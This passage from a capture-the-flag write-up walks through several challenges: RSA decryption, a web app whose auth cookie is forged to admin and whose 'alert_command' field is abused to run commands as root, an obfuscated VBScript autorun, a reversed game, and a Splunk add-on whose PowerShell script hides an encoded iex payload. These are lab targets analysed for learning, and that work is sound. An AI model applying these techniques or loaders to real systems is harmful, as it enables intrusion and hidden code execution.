decrypted_string = ''.join(chr(byte) if 31 < byte < 127 else '.' for byte in decrypted)

print(decrypted_string) 

Flag:flag{2feb3ff8a21a36db1ad386d33a29d85a}

Strive Marish Leadman TypeCDR

Author: @aenygma

Category: Cryptography

Looks like primo hex garbage. Maybe something went wrong? Can you make sense of it?

The challenge links to RSA is deceptively simple and fun which describe how RSA works.

Python to solve the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Given hexadecimal values
p_hex = 'e8b1f49b4b95ab14be267695cd95df37083a2eca18459d1deeae0d4bdaf309bf42735a9eef73630b5020d652d7c80f5b4876f84f54ef72765ae3412568c1a7b5'
q_hex = 'db1f7bbf03f05137c101627b213e04813e5426270486af9d634a00c5e7cf650a478765d90c6ef3d032d7a1223ca40d4378cc73095ad9d35d12fb2f8835655ccb'
d_hex = '238002140888d7ffd77e862ef3318edafd69caca2bad9bdd916b392c01c4fb169ea3365578c9ce89ba3fdcbe475a26515975e5d785afeab7126976c242c303ed86cb0c3d21de97e686e6f1437190f5127b3ec3dac7b78e21713dfd0f0e5f2fdd494ee895d01bb6b54ee7f99ae447ac8b1a792ecaf3858f82b3eed6983825f109'
e_hex = '10001'  # no '0x' prefix
n_hex = 'c72cda489957d42ee39543292a98028de3bedecbea847e649f4d65ea045c6a972052834a9ac126fa6dbef9ab5cde004bbc91f1df99120bae5275a0658c449cac817dbe1d4c8f0822d4874ba111fd58b778bfb5e8edafa6fb41d38cb35b3be5627e7a5813b63995249d5d126c06a64b731948b4f709421e2f8d32d9974d3e0887'

# Convert hex to integers
p = int(p_hex, 16)
q = int(q_hex, 16)
d = int(d_hex, 16)
n = int(n_hex, 16)

# Ciphertext provided
ciphertext_hex = '950b8fd21ea8c96bb8c926f2312a1918388c8b1fe57afba40d52c59b150c68ca6e7a4537d67b3d89ceb383d5795f467805e251c0be71afff42478928c70dcfe8ef327126f4a157c29dd8ab65d050df2a7b42c4f8c85ac7e046367a6e1a11970fe53ac0a35b112c1d2e5309986c1bfdbcfd550587f5ba7ad4bf652f51f90b4d3c'
ciphertext = int(ciphertext_hex, 16)

# Decrypting the message
decrypted_message = pow(ciphertext, d, n)

# Convert the decrypted message back to bytes or string
decrypted_bytes = decrypted_message.to_bytes((decrypted_message.bit_length() + 7) // 8, 'big')
decrypted_text = decrypted_bytes.decode(errors='ignore')

# Output the results
print("Decrypted message (bytes):", decrypted_bytes)
print("Decrypted message (string):", decrypted_text)

Flag: flag{cf614b15ac1dd461a2e48afdfe21b8e8}

Plantopia

Author: @HuskyHacks

Category: Web

Plantopia is our brand new, cutting edge plant care management website! Built for hobbiests and professionals alike, it’s your one stop shop for all plant care management. Please perform a penetration test ahead of our site launch and let us know if you find anything.

For this challenge, we are provided with a container hosting the web app Plantopia and given credentials for a normal user to begin with.

Upon logging in, we can access the API documentation, which is hosted on a Swagger API documentation site.

Here, we can see that most of the endpoints require a base64-encoded bearer token. By opening the developer tools in the browser and checking the cookies for this site, we can find an auth cookie containing the following data: dGVzdHVzZXIuMC4xNzI5NzYxMTQ0. When decoded using CyberChef, this value translates to testuser.0.1729761144. I assumed the 0 indicates a normal user, so I changed it to 1, re-encoded it in base64, and updated the cookie.

This successfully elevated my privileges to an admin level.

Next, in the API documentation, we can see that the endpoint /api/plants/{plant_id}/edit accepts the following values:

1
2
3
4
5
6
{
  "description": "A beautiful sunflower.",
  "sunlight_level": 80,
  "watering_threshold": 50,
  "alert_command": "/usr/sbin/sendmail -t"
}

I used this endpoint to change the alert_command to whoami and sent the updated request to the server, which returned this response:

1
2
3
{
  "message": "Plant details updated"
}

This indicates that I successfully changed the command to whoami.

Next, I used the /api/admin/sendmail endpoint to execute the command.

Checking the logs on the website, we see the following:

1
2
3
2024-10-24 08:33:50,267 - DEBUG - Executing alert command for plant 1: whoami
2024-10-24 08:33:50,267 - DEBUG - Executing command: whoami
2024-10-24 08:33:50,270 - DEBUG - Command output: root

It appears the application runs as root, which means we can now update the command to cat flag.txt.

This is what appears in the log after you have updated the command:

1
2
3
2024-10-24 08:36:27,743 - DEBUG - Executing alert command for plant 1: cat flag.txt
2024-10-24 08:36:27,743 - DEBUG - Executing command: cat flag.txt
2024-10-24 08:36:27,746 - DEBUG - Command output: flag{c29c4d53fc432f7caeb573a9f6eae6c6}

Flag: flag{c29c4d53fc432f7caeb573a9f6eae6c6}

Ping me

Author: @JohnHammond

Category: Malware

We found this file in the autoruns of a host that seemed to have a lot of network activity… can you figure out what it was doing?

For this challenge, we are given the obfuscated script ping_me.vbs. The code appears as follows:

1
Execute chr(-8710+CLng(&H224A))&chr(CLng(&H1C3C)-7123)&chr(-1048+CLng(&H485))&chr(-431+CLng(&H1CF))&chr(CLng(&HECA)-3671)&chr(CLng(&H1EA3)-7739)&chr(-9460+CLng(&H2520))&chr(92448/CLng(&HB49))&chr(-8198+CLng(&H206F))&chr(CLng(&H2543)-9427)&chr(CLng(&H10E8)-4213)&chr(-5011+CLng(&H13BF))&chr(-1785+CLng(&H719))&chr(-4404+CLng(&H119D))&chr(CLng(&H128)-238)&chr(145748/CLng(&H6DC))&chr(-8792+CLng(&H22BD))&chr(-8446+CLng(&H2172))&chr(-8584+CLng(&H21A8))&chr(-1707+CLng(&H71E))&chr(57720/CLng(&H22B))&chr(CLng(&HDBB)-3483)&chr(-100+CLng(&HA1))&chr(291968/CLng(&H23A4))&chr(-2989+CLng(&HBF0))&chr(-1419+CLng(&H5FD))&chr(CLng(&H214E)-8425)&chr(CLng(&H1472)-5137)&chr(-9475+CLng(&H2577))&chr(-1670+CLng(&H6EB))v&chr(CLng(&H18EC)-6301)&chr(-9755+CLng(&H267D))&chr(CLng(&HDF6)-3468)&chr(CLng(&H448)-995)&chr(-8152+CLng(&H203B))&chr(782420/CLng(&H1A59))&chr(316960/CLng(&H1EF4))&chr(174726/CLng(&H1413))&chr(-9716+CLng(&H264B))&chr(-2558+CLng(&HA51))&chr(-5012+CLng(&H13F7))&chr(28500/CLng(&HFA))&chr(CLng(&H1795)-5932)&chr(-6173+CLng(&H188D))&chr(832532/CLng(&H1C09))&chr(-8496+CLng(&H215E))&chr(-3982+CLng(&HFE1))&chr(251264/CLng(&H970))&chr(-7986+CLng(&H1F97))&chr(368496/CLng(&HD54))&chr(-1468+CLng(&H628))&chr(CLng(&HB64)-2882)&chr(-2898+CLng(&HB7B))&chr(CLng(&H1A1D)-6627)&chr(-4869+CLng(&H136E))&chr(-2229+CLng(&H925))&chr(1141490/CLng(&H26C6))&chr(-8427+CLng(&H210B))&chr(469212/CLng(&H1E0C))&chr(154656/CLng(&H12E1))&chr(CLng(&HE7B)-3642)&chr(995334/CLng(&H221B))&chr(CLng(&H51F)-1197)&chr(-1494+CLng(&H637))&chr(366267/CLng(&HBD3))&chr(267760/CLng(&H1A26))&chr(-8315+CLng(&H209D))&chr(-5088+CLng(&H1411))&chr(CLng(&H228)-504)&chr(108500/CLng(&H87A))&chr(-3564+CLng(&HE1A))&chr(CLng(&HE53)-3618)&chr(-88+CLng(&H88))&chr(CLng(&H9D9)-2465)&chr(CLng(&HC1D)-3055)&chr(CLng(&H40E)-981)&chr(-81+CLng(&H88))&chr(-8079+CLng(&H1FBD))&chr(-731+CLng(&H30C))&chr(-7987+CLng(&H1F63))&chr(332418/CLng(&H1976))&chr(-6153+CLng(&H182B))&chr(86636/CLng(&H7B1))&chr(CLng(&H210C)-8428)&chr(312426/CLng(&H23E5))&chr(CLng(&H1BE9)-7096)&chr(-2275+CLng(&H915))&chr(CLng(&H17F5)-6082)&chr(CLng(&H1454)-5158)&chr(CLng(&H739)-1796)&chr(-5662+CLng(&H1652))&chr(406732/CLng(&H228A))&chr(-525+CLng(&H23E))&chr(-926+CLng(&H3CE))&chr(236496/CLng(&H133F))&chr(CLng(&HEA9)-3707)&chr(-4694+CLng(&H128A))&chr(CLng(&H1298)-4703)&chr(-6611+CLng(&H19F5))&chr(-9443+CLng(&H250F))&chr(-3311+CLng(&HD0F))&chr(-2866+CLng(&HB54))&chr(CLng(&H1154)-4379)&chr(-4462+CLng(&H11A6))&chr(CLng(&H23E8)-9146)&chr(-7553+CLng(&H1DB6))&chr(CLng(&HCC8)-3220)&chr(384560/CLng(&H20A8))&chr(-7193+CLng(&H1C4D))&chr(52976/CLng(&H3B2))&chr(-246+CLng(&H124))&chr(-94+CLng(&H93))&chr(-2410+CLng(&H99C))&chr(1394/CLng(&H29))&chr(-7683+CLng(&H1E2F))&chr(CLng(&H11BF)-4511)&chr(103156/CLng(&HBDA))&chr(CLng(&H2141)-8456)&chr(-3422+CLng(&HD96))&chr(-5494+CLng(&H15A4))&chr(-7784+CLng(&H1EA1))&chr(-5615+CLng(&H1627))&chr(-3140+CLng(&HC72))&chr(-3731+CLng(&HEC7))&chr(429210/CLng(&H1D6A))&chr(CLng(&H1674)-5702)&chr(CLng(&H24E0)-9383)&chr(-4514+CLng(&H11DA))&chr(-3409+CLng(&HD73))&chr(-4128+CLng(&H104C))&chr(286560/CLng(&H22FB))&chr(-2859+CLng(&HB4D))&chr(CLng(&H25BA)-9605)&chr(-3495+CLng(&HDDB))&chr(-3701+CLng(&HEA3))&chr(196490/CLng(&HFAA))&chr(CLng(&HE41)-3601)&chr(-4045+CLng(&HFFD))&chr(-1431+CLng(&H5C5))&chr(CLng(&HD84)-3403)&chr(-5771+CLng(&H16C2))&chr(-4782+CLng(&H12DC))&chr(154071/CLng(&HB5B))&chr(402290/CLng(&H2012))&chr(-1655+CLng(&H699))&chr(295328/CLng(&H1A38))&chr(CLng(&H21AD)-8589)&chr(-5308+CLng(&H14DE))&chr(-7308+CLng(&H1CC1))&chr(-7625+CLng(&H1DF9))&chr(CLng(&H1775)-5959)&chr(CLng(&H8EB)-2226)&chr(-5757+CLng(&H16B5))&chr(CLng(&H1568)-5434)&chr(381865/CLng(&H1C25))&chr(CLng(&HCBD)-3207)&chr(-6638+CLng(&H1A1C))&chr(99921/CLng(&H6D9))&chr(80304/CLng(&H59A))&chr(-7805+CLng(&H1E9F))&chr(-1820+CLng(&H748))&chr(CLng(&H18B3)-6291)&chr(-5640+CLng(&H162A))&chr(-4824+CLng(&H1311))&chr(352744/CLng(&H189B))&chr(-292+CLng(&H152))&chr(CLng(&H20B8)-8319)&chr(-1584+CLng(&H669))&chr(CLng(&H8C7)-2201)&chr(-2187+CLng(&H8C4))&chr(CLng(&HDC5)-3470)&chr(-3268+CLng(&HCF2))&chr(-5577+CLng(&H15FE))&chr(-309+CLng(&H16C))&chr(-1144+CLng(&H49A))&chr(-9516+CLng(&H2558))&chr(CLng(&H3CD)-941)&chr(-4067+CLng(&H1005))&chr(289198/CLng(&H170E))&chr(-3400+CLng(&HD78))&chr(-8493+CLng(&H215E))&chr(-5902+CLng(&H173C))&chr(387112/CLng(&H1C88))&chr(-6594+CLng(&H19F2))&chr(CLng(&H160F)-5601)&chr(CLng(&HE38)-3587)&chr(460252/CLng(&H2293))&chr(-306+CLng(&H160))&chr(-1576+CLng(&H659))&chr(-853+CLng(&H385))&chr(32640/CLng(&H2A8))&chr(-5770+CLng(&H16AC))&chr(406472/CLng(&H2416))&chr(59552/CLng(&H745))&chr(-3842+CLng(&HF24))&chr(135733/CLng(&HA01))&chr(-4781+CLng(&H12E0))&chr(347576/CLng(&H1D84))&chr(-1448+CLng(&H5DC))&chr(567777/CLng(&H26E9))&chr(CLng(&H2660)-9778)&chr(-6322+CLng(&H18E7))&chr(368526/CLng(&H1C3A))&chr(-9529+CLng(&H2567))&chr(-3965+CLng(&HFB2))&chr(CLng(&H14C3)-5261)&chr(-505+CLng(&H21B))&chr(-532+CLng(&H240))&chr(68352/CLng(&H858))&chr(-789+CLng(&H337))&chr(CLng(&H382)-845)&chr(-9302+CLng(&H248D))&chr(-5774+CLng(&H16BC))&chr(20972/CLng(&H1AC))&chr(CLng(&H22F9)-8903)&chr(-1558+CLng(&H64B))&chr(-8186+CLng(&H2028))&chr(CLng(&H527)-1268)&chr(-9869+CLng(&H26C2))&chr(-6122+CLng(&H1818))&chr(CLng(&H1E3C)-7689)&chr(-4075+CLng(&H1020))&chr(4658/CLng(&H89))&chr(CLng(&H11F7)-4558)&chr(357222/CLng(&H180F))&chr(540120/CLng(&H1E24))&chr(-836+CLng(&H3B3))&chr(986100/CLng(&H21CA))&chr(-2426+CLng(&H99A))&chr(CLng(&H1329)-4800)&chr(191968/CLng(&H176F))&chr(CLng(&H8A9)-2156)&chr(CLng(&H1ED5)-7861)&chr(5616/CLng(&H75))&chr(312224/CLng(&H261D))&chr(152208/CLng(&H714))&chr(CLng(&H12CB)-4700)&chr(CLng(&H202)-482)&chr(217685/CLng(&HA01))&chr(465036/CLng(&H1B86))&chr(-1002+CLng(&H459))&chr(630162/CLng(&H150A))&chr(669680/CLng(&H17C8))&chr(-2383+CLng(&H9B3))&chr(CLng(&H1385)-4957)&chr(-9107+CLng(&H23FC))&chr(1078112/CLng(&H259A))&chr(-1751+CLng(&H74A))&chr(274864/CLng(&H1A30))&chr(-1911+CLng(&H7B1))&chr(-368+CLng(&H190))&chr(-7293+CLng(&H1C9D))&chr(-5151+CLng(&H143F))&chr(-2252+CLng(&H8EC))&chr(CLng(&HA30)-2493)&chr(CLng(&H18D3)-6251)&chr(-7857+CLng(&H1EDF))&chr(-657+CLng(&H2E3))&chr(-3390+CLng(&HDB3))&chr(-6553+CLng(&H1A07))&chr(-5826+CLng(&H16E2))&chr(-567+CLng(&H259))&chr(-5399+CLng(&H157A))&chr(CLng(&H1473)-5126)&chr(24+CLng(&H4C))&chr(32960/CLng(&H406))&chr(CLng(&H1D18)-7401)&chr(105381/CLng(&H515))&chr(221824/CLng(&H1B14))&chr(136206/CLng(&HB52))&chr(341055/CLng(&HD75))&chr(289632/CLng(&H235B))&chr(-9504+CLng(&H2590))&chr(692055/CLng(&H19BF))&chr(-3239+CLng(&HD15))&chr(-7859+CLng(&H1F1A))&chr(-2106+CLng(&H85A))&chr(-3016+CLng(&HBEA))&chr(CLng(&H156B)-5451)&chr(-4032+CLng(&HFE6))&chr(309408/CLng(&H25C5))&chr(484365/CLng(&H1205))&chr(449344/CLng(&HFAC))&chr(-1842+CLng(&H7A5))&chr(86360/CLng(&H86F))&chr(997080/CLng(&H2518))&chr(CLng(&HCDA)-3249)&chr(CLng(&HD5F)-3379)&chr(-7698+CLng(&H1E32))&chr(304128/CLng(&H18C0))&chr(CLng(&H1CBB)-7311)&chr(-938+CLng(&H3CA))&chr(-9779+CLng(&H2679))&chr(CLng(&H3AC)-843)&chr(282096/CLng(&HA34))&chr(CLng(&H783)-1808)&chr(675589/CLng(&H1A21))&chr(65366/CLng(&H467))&chr(438516/CLng(&H15F6))&chr(CLng(&H5C6)-1377)&chr(83400/CLng(&H2B7))&chr(CLng(&H260D)-9625)&vbCrlf

To understand what the script does, you can simply replace the command Execute with WScript.Echo, which will output the content of the script instead of executing it.

When we run it, the following text box appears:

1
2
3
4
5
Dim sh, ips, i:Set sh = CreateObject("WScript.shell"):ips =
Array("102.108.97.103", "123.54.100.49", "98.54.48.52", "98.98.49.98",
"54.100.97.51", "50.98.56.98", "98.99.97.57", "101.50.54.100", "53.49.53.56",
"57.125.35.35")For i = 0 To UBound(ips): sh.Run "cmd /Q/c ping " &
ips(i), 0, False:Next

Next, we extract all the octets from the IP addresses and convert them to decimal. This conversion can be easily accomplished using CyberChef, but the following script illustrates the process more clearly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Define a list of integers
numbers = [
    102, 108, 97, 103, 123, 54, 100, 49,
    98, 54, 48, 52, 98, 98, 49, 98,
    54, 100, 97, 51, 50, 98, 56, 98,
    98, 99, 97, 57, 101, 50, 54, 100,
    53, 49, 53, 56, 57, 125, 35, 35
]

# Convert integers to corresponding characters
decoded_chars = ''.join(chr(num) for num in numbers)

# Print the result
print(f"Decoded String: {decoded_chars}")

Note: The last two octets is padding.

Flag: flag{6d1b604bb1b6da32b8bbca9e26d51589}

Knight’s Quest

Author: @HuskyHacks

Category: Reverse Engineering

An adventurer is YOU! Play Knight’s Quest, beat the three monsters, and claim the flag! Very straightforward with no surprises, no sir-ee, no surprises here lmao

When you launch the challenge, you are presented with a website where you can download a game called Knight’s Quest for either Windows, MacOS, or Linux. In the game, you need to defeat three enemies, but the final enemy has 9,999,999 health points, making that one practically unbeatable by conventional methods. Once all three enemies are defeated, the game provides a password that is required to retrieve the flag by using a curl command.

For this challenge, I didn’t take detailed notes, but the main process was first to decompile it in BinaryNinja and then analyzing the function knightsquest/game.(*Game).runGameLoop. In this function, I discovered that the password was hidden.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
      local_250[0] = 0x42;
      local_250[1] = 0x4f;
      local_250[2] = 0x44;
      local_250[3] = 0x55;
      local_250[4] = 0x41;
      local_250[5] = 0x68;
      local_250[6] = 0x6b;
      local_250[7] = 0x44;
                    /* /app/app/game/game.go:61 */
      local_250[8] = 0x4d;
      local_250[9] = 0x4c;
      local_250[10] = 0x6a;
      local_250[0xb] = 0x33;
      local_250[0xc] = 0x5a;
      local_250[0xd] = 0x4d;
      local_250[0xe] = 0x37;
      local_250[0xf] = 99;
      local_250[0x10] = 0x66;
      local_250[0x11] = 0x6f;
      local_250[0x12] = 0x39;
      local_250[0x13] = 0x55;
      local_250[0x14] = 0x42;
      local_250[0x15] = 0x6c;
      local_250[0x16] = 0x74;
      local_250[0x17] = 0x31;
      local_250[0x18] = 0x41;
      local_250[0x19] = 0x4e;
      local_250[0x1a] = 0x55;
      local_250[0x1b] = 0x42;
      local_250[0x1c] = 0x59;
      local_250[0x1d] = 0x37;
      local_250[0x1e] = 0x4c;
      local_250[0x1f] = 0x6e;
      local_250[0x20] = 0x65;
      local_250[0x21] = 99;
      local_250[0x22] = 100;
      local_250[0x23] = 0x70;
      local_250[0x24] = 0x67;
      local_250[0x25] = 0x68;
      local_250[0x26] = 0x4c;
      local_250[0x27] = 0x38;
                    /* /app/app/game/game.go:62 */
      local_250[0x28] = 0x6d;
      local_250[0x29] = 0x67;
      local_250[0x2a] = 0x5a;
      local_250[0x2b] = 0x59;
      local_250[0x2c] = 0x4a;
      local_250[0x2d] = 0x73;
      local_250[0x2e] = 0x36;
      local_250[0x2f] = 0x62;
      local_250[0x30] = 0x68;
      local_250[0x31] = 0x6f;
      local_250[0x32] = 0x6e;
      local_250[0x33] = 0x66;
      local_250[0x34] = 0x4d;
      local_250[0x35] = 0x51;
      local_250[0x36] = 0x7a;
      local_250[0x37] = 0x65;
      local_250[0x38] = 0x44;
      local_250[0x39] = 0x6a;
      local_250[0x3a] = 0x73;
      local_250[0x3b] = 0x70;
      local_250[0x3c] = 0x49;
      local_250[0x3d] = 0x34;
      local_250[0x3e] = 0x4c;
      local_250[0x3f] = 0x51;
                    /* /app/app/game/game.go:65 */
                    /* /app/app/game/game.go:74 */
      runtime.makeslice(&datatype.Uint8.uint8,0x20,0x20);
                    /* /app/app/game/game.go:75 */
      for (lVar5 = 0; lVar5 < 0x20; lVar5 = lVar5 + 1) {
                    /* /app/app/game/game.go:76 */
        bVar1 = (local_250[lVar5] ^ local_250[lVar5 + 0x20]) % 0x3e;
        bVar6 = bVar1 + 0x41;
        *(byte *)(extraout_RAX_06 + lVar5) = bVar6;
                    /* /app/app/game/game.go:77 */
        if (0x5a < bVar6) {
          if (bVar6 < 0x61) {
                    /* /app/app/game/game.go:78 */
            *(byte *)(extraout_RAX_06 + lVar5) = bVar1 + 0x47;
          }
          else {
                    /* /app/app/game/game.go:79 */
            if (0x7a < bVar6) {
                    /* /app/app/game/game.go:80 */
              *(byte *)(extraout_RAX_06 + lVar5) = bVar1 - 10;
            }
          }
        }
      }

Below is the script that was used to generate the password from its obfuscated state.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def generate_password():
    local_250 = [
        0x42, 0x4f, 0x44, 0x55, 0x41, 0x68, 0x6b, 0x44,
        0x4d, 0x4c, 0x6a, 0x33, 0x5a, 0x4d, 0x37, 0x63,
        0x66, 0x6f, 0x39, 0x55, 0x42, 0x6c, 0x74, 0x31,
        0x41, 0x4e, 0x55, 0x42, 0x59, 0x37, 0x4c, 0x6e,
        0x65, 0x63, 0x64, 0x70, 0x67, 0x68, 0x4c, 0x38,
        0x6d, 0x67, 0x5a, 0x59, 0x4a, 0x73, 0x36, 0x62,
        0x68, 0x6f, 0x6e, 0x66, 0x4d, 0x51, 0x7a, 0x65,
        0x44, 0x6a, 0x73, 0x70, 0x49, 0x34, 0x4c, 0x51
    ]

    password = []
    for i in range(32):
        bVar1 = (local_250[i] ^ local_250[i + 32]) % 62  # Modulo 0x3e (62)
        bVar6 = bVar1 + 65  # ASCII 'A' = 65
        
        if bVar6 > 90:  # Beyond 'Z'
            if bVar6 < 97:  # Between 'Z' and 'a'
                bVar6 = bVar1 + 71  # Adjust to lowercase
            elif bVar6 > 122:  # Beyond 'z'
                bVar6 = bVar1 - 10  # Adjust back

        password.append(chr(bVar6))

    return ''.join(password)

# Generate the password
flag_password = generate_password()
print("Your flag submission password is:", flag_password)
1
2
3
4
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"password":"hmafgAhAalqmQABBOAZtP3OWFegsQDAB"}' http://challenge.ctf.games:30279/submit
{"flag":"flag{40b5b7e5395ee921cbbc804d4350b9c1}"}

Flag: flag{40b5b7e5395ee921cbbc804d4350b9c1}

Backdoored Splunk II

Author: Adam Rice (@adam.huntress)

Category: Forensics

You’ve probably seen Splunk being used for good, but have you seen it used for evil?

For this challenge we are provided with a zip file and a container that, when we try to access it gives us this "Missing or invalid Authorization header" So the first thing I thought I should look for was some kind of an authorization token or similar.

I started by using the tree command to get an overview of all the files that were provided for the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Downloads/Splunk_TA_windows]
└─$ tree
.
├── app.manifest
├── appserver
│   └── static
│       ├── appIcon.png
│       └── appLogo.png
├── bin
│   ├── Invoke-MonitoredScript.ps1
│   ├── log.py
│   ├── netsh_address.bat
│   ├── powershell
│   │   ├── 2012r2-health.ps1
│   │   ├── 2012r2-repl-stats.ps1
│   │   ├── 2012r2-siteinfo.ps1
│   │   ├── dns-health.ps1
│   │   ├── dns-zoneinfo.ps1
│   │   ├── generate_windows_update_logs.ps1
│   │   ├── nt6-health.ps1
│   │   ├── nt6-repl-stat.ps1
│   │   ├── nt6-siteinfo.ps1
│   │   └── windows_bios_data.ps1
│   ├── runpowershell.cmd
│   ├── user_account_control_property.py
│   ├── win_installed_apps.bat
│   ├── win_listening_ports.bat
│   ├── win_timesync_configuration.bat
│   └── win_timesync_status.bat
├── default

I thought that the multiple *.ps1 were interesting, so I started by going through them one by one. In the file: dns-health.ps1 I came across the following:

1
2
3
4
5
6
7
8
9
#
# Windows Version and Build #
#
$WindowsInfo = Get-Item "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion"
$OS = $WindowsInfo.GetValue("ProductName")
$OSSP = $WindowsInfo.GetValue("CSDVersion")
$WinVer = $WindowsInfo.GetValue("CurrentVersion")
$WinBuild = $WindowsInfo.GetValue("CurrentBuildNumber")
[STRinG]::JoIN('',[chAr[]](36 , 79 ,83 , 86, 69 ,82 ,32, 61,32,39 , 105, 101, 120 , 32 , 40 ,91 ,83 , 121 , 115 , 116,101 , 109, 46,84 ,101 ,120 , 116 ,46,69 ,110 ,99, 111 , 100, 105 ,110 ,103 ,93, 58 ,58 ,85, 84,70 , 56,46,71 ,101 ,116,83,116, 114 , 105 , 110, 103 ,40 , 91 , 83 ,121 , 115 ,116, 101, 109 , 46 ,67 ,111, 110,118 , 101, 114 ,116 , 93, 58 ,58, 70,114 ,111, 109 ,66,97 , 115, 101,54, 52 , 83 , 116 , 114 ,105 , 110,103,40 ,34,73,121 , 65 , 107,85, 69 , 57 , 83,86 ,67 ,66 ,105,90 ,87, 120, 118 , 100,121, 66,112 ,99,121 , 66 ,107 ,101, 87 , 53 , 104,98 ,87 , 108 , 106, 73 , 72 , 82 , 118 ,73, 72,82 , 111, 90 , 83, 66, 121 , 100 , 87, 53 , 117 ,97 , 87 , 53 , 110, 73,72 ,78, 108 ,99, 110 , 90 , 112, 89,50 ,85 , 103, 98 ,50 ,89,103 , 100,71,104 ,108,73, 71 ,66 , 84, 100, 71, 70 , 121 , 100 ,71 , 65, 103, 89, 110,86,48, 100,71 , 57, 117 , 68, 81, 112,65 ,75 , 67,82,111 ,100 ,71 ,49 , 115 ,73 , 68,48,103, 75 ,69, 108,117,100, 109 ,57,114 , 90 , 83 , 49,88, 90 ,87,74,83,90, 88, 70, 49, 90,88, 78 ,48, 73,71 ,104 ,48 ,100,72 , 65 , 54 ,76, 121, 57,106 , 97,71, 70,115,98 ,71, 86 ,117 , 90, 50,85 ,117,89 , 51 ,82,109,76 ,109, 100, 104,98 ,87 ,86, 122 ,79 , 105, 82 ,81 ,84 , 49,74, 85 , 73,67,49 ,73 , 90 ,87 ,70,107 , 90, 88 , 74,122 ,73,69, 66 ,55 ,81 ,88 , 86 ,48 ,97 ,71 ,57 , 121 ,97,88, 112,104, 100 ,71 ,108, 118,98,106 , 48 ,111,73 ,107, 74, 104,99,50 ,108,106,73,70, 108 , 116, 82,109,112 ,104, 77 ,108, 74 ,50 ,89,106 ,78 , 74 ,78,109 ,82, 72 , 97,72, 66, 106 ,77 , 84 ,108 ,119, 89 , 122,69, 53,77 , 71 , 70 , 72 ,86, 109,90, 104 , 83 , 70,73,119 ,89 , 48, 89 , 53 ,101 ,108, 112, 89 , 83 , 106,74 , 97, 87 ,69,112 , 109 ,89 ,122, 74,87 ,97, 109,78, 116, 86,106 , 65, 105,75, 88 , 48, 103 , 76,86 ,86 ,122, 90 , 85,74 , 104 ,99, 50,108, 106 ,85, 71, 70 ,121,99,50 , 108 , 117 , 90,121 , 107 ,117, 81,50 ,57,117, 100, 71 , 86 , 117, 100 , 65, 48 , 75,97 , 87,89 ,103, 75 ,67, 82 , 111,100 ,71 , 49, 115 ,73 ,67,49 ,116 , 89 , 88, 82,106 ,97 , 67 , 65,110, 80, 67 , 69 , 116 , 76,83 , 103, 117 , 75 ,106 , 56 ,112 ,76 , 83,48,43,74,121 , 107 ,103 , 101,119 ,48 ,75, 73,67 , 65 ,103,73 , 67 , 82, 50,89 ,87, 120,49 ,90 ,83, 65 , 57 , 73, 67, 82, 116 ,89, 88 , 82,106 ,97 ,71, 86,122, 87, 122,70,100 , 68, 81 ,111,103 , 73 ,67,65 , 103 , 74 , 71, 78 ,118, 98 ,87 ,49, 104 ,98 ,109 ,81, 103,80 , 83 , 66, 98 ,85 , 51 , 108, 122 , 100 ,71,86, 116, 76,108 ,82, 108 , 101,72,81,117 ,82,87 ,53 ,106 ,98 , 50, 82 , 112 ,98,109 ,100,100 , 79 , 106 , 112 ,86 ,86 , 69 , 89,52 ,76,107 , 100,108, 100 , 70, 78,48 ,99,109 , 108,117 , 90 , 121, 104 , 98 , 85, 51, 108 ,122, 100, 71, 86, 116 , 76 , 107, 78 ,118 ,98, 110,90, 108 , 99, 110,82,100, 79,106,112, 71,99,109, 57, 116 , 81 , 109 , 70 , 122 , 90 , 84,89 , 48 , 85, 51 , 82,121 , 97 ,87,53, 110,75,67,82 ,50,89 , 87 , 120 , 49 ,90 , 83 , 107 ,112 ,68, 81,111, 103 , 73, 67, 65 ,103 ,83 ,87, 53 ,50 , 98 , 50, 116 , 108, 76,85,86 , 52 ,99 ,72, 74 ,108, 99,51 ,78, 112 ,98, 50 , 52 , 103, 74, 71, 78,118, 98, 87 , 49 ,104 ,98, 109 ,81 , 78 ,67 ,110,48 , 112 , 34,41, 41 , 41,39 )) | &( $PsHomE[21]+$PsHoMe[30]+'X')

This seemed a bit out of the ordinary for a normal use of powershells script so I decided to decode it and got the following result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64

Convert ASCII values to characters and join them into a string
ascii_values = [
    36, 79, 83, 86, 69, 82, 32, 61, 32, 39, 105, 101, 120, 32, 40, 91, 83, 
    121, 115, 116, 101, 109, 46, 84, 101, 120, 116, 46, 69, 110, 99, 111, 100, 
    105, 110, 103, 93, 58, 58, 85, 84, 70, 56, 46, 71, 101, 116, 83, 116, 114, 
    105, 110, 103, 40, 91, 83, 121, 115, 116, 101, 109, 46, 67, 111, 110, 118, 
    101, 114, 116, 93, 58, 58, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 
    116, 114, 105, 110, 103, 40, 34, 73, 121, 65, 107, 85, 69, 57, 83, 86, 67, 
    66, 105, 90, 87, 120, 118, 100, 121, 66, 112, 99, 121, 66, 107, 101, 87, 53, 
    104, 98, 87, 108, 106, 73, 72, 82, 118, 73, 72, 82, 111, 90, 83, 66, 121, 
    100, 87, 53, 117, 97, 87, 53, 110, 73, 72, 78, 108, 99, 110, 90, 112, 89, 
    50, 85, 103, 98, 50, 89, 103, 100, 71, 104, 108, 73, 71, 66, 84, 100, 71, 
    70, 121, 100, 71, 65, 103, 89, 110, 86, 48, 100, 71, 57, 117, 68, 81, 112, 
